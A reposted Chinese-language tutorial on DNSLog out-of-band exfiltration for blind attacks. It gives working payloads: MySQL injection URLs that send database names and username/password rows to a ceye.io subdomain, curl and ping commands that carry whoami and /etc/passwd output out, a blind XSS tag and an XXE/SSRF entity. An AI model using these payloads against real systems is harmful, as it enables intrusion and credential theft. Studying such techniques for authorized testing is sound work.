通过DNSLog获取无回显信息


0x01 原理

NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析
DNS:域名解析服务器
A记录:指定域名对应的IP地址

一句话归纳😪😪:
  将需要查询的值和域名拼接起来,向域名发送请求,DNS在解析的时候会留下日志,读取日志便可以获取信息。

  • 案例解释
ping `whoami`.test.com	//发出请求
ping root.test.com	//实际请求

  whoami在命令行中就自动解析了,所以其实是向root.test.com发出的请求,这时就会被DNS服务器所捕获,我们就能从日志中获取命令执行后的结果了。那到底怎么利用DNSLog进行注入呢?其实只要是能够发出请求的地方都可以用这种方式获取数据。

0x02 DNSLog平台

一、在线平台:http://ceye.iohttp://www.dnslog.cn

二、自己搭建DNSLog服务器:https://github.com/BugScanTeam/DNSLog

三、 BurpSuite collaborator


点击Copy to Clipboard获取一个标识
比如我这里获取到的就是s6z9p5lykbxh0m8wx3vy44qg278xwm.burpcollaborator.net
然后用这个外带就行了

0x03 DNSLog常用场景

  1. SQL盲注
  2. 命令执行(无回显)
  3. XSS(无回显)
  4. SSRF(无回显)

SQL盲注

以MySQL为例,在MySQL中有个一个load_file函数可以用来读取本地的文件。前提是root权限。
show variables like '%secure%';查看load_file()可以读取的磁盘。

  • 当secure_file_priv为空,就可以读取磁盘的目录。
  • 当secure_file_priv为E:\,就可以读取E盘的文件。
  • 当secure_file_priv为null,load_file就不能加载文件。

⚠️ 注意:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows——UNC路径。

UNC路径:UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。

平常在Widnows中用共享文件的时候就会用到这种网络地址的形式:\\sss.xxx\test\
这也就解释了为什么CONCAT()函数拼接了4个\了,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。

⚠️ 如果查询的数据中出现了非字母数字的特殊字符,需要进行转义,这里用16进制。原因是如果出现如逗号,@符号等特殊符号,不能形成标准的dns域名,无法发出数据。

  • 几个例子
直接读取
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select database()),'.4do468.ceye.io\\abc'))),1,0)%23
hex转码
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(user())),'.4do468.ceye.io\\abc'))),1,0)%23
取数据
http://127.0.0.1/sqli/Less-5/?id=1' and if((select load_file(concat('\\\\',(select hex(concat(username,0x7e,password,0x7e)) from security.users limit 0,1),'.4do468.ceye.io\\abc'))),1,0)%23

命令执行

Windows下

查看计算机名,其他类似

ping %COMPUTERNAME%.xxx.ceye.io

Linux下

查看当前用户和passwd文件,其他类似

curl http://ip.port.xxx.ceye.io/`whoami`
curl http://ip.port.xxoo.ceye.io/`cat /etc/passwd`

XSS

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:><img src=http://xss.xxxx.ceye.io/aaa>

SSRF

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.ceye.io/aa">
%remote;]>
<root/>

0x04 总结

  • 有些函数的使用具有操作系统的限制。
  • DNS查询有长度限制,所以必要的时候需要对查询结果做字符串的切割。
  • 避免一些特殊符号的产生,最好的选择就是数据先编码再带出。
  • 注意不同数据库的语法是有差异的,特别是在数据库拼接的时候。
  • 有些操作是需要较高的权限。

🌈🌈 利用DNSLog攻击的方法,能更加简便、高效的进行渗透测试,并且拥有足够权限,可以直接拿下目标站点。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM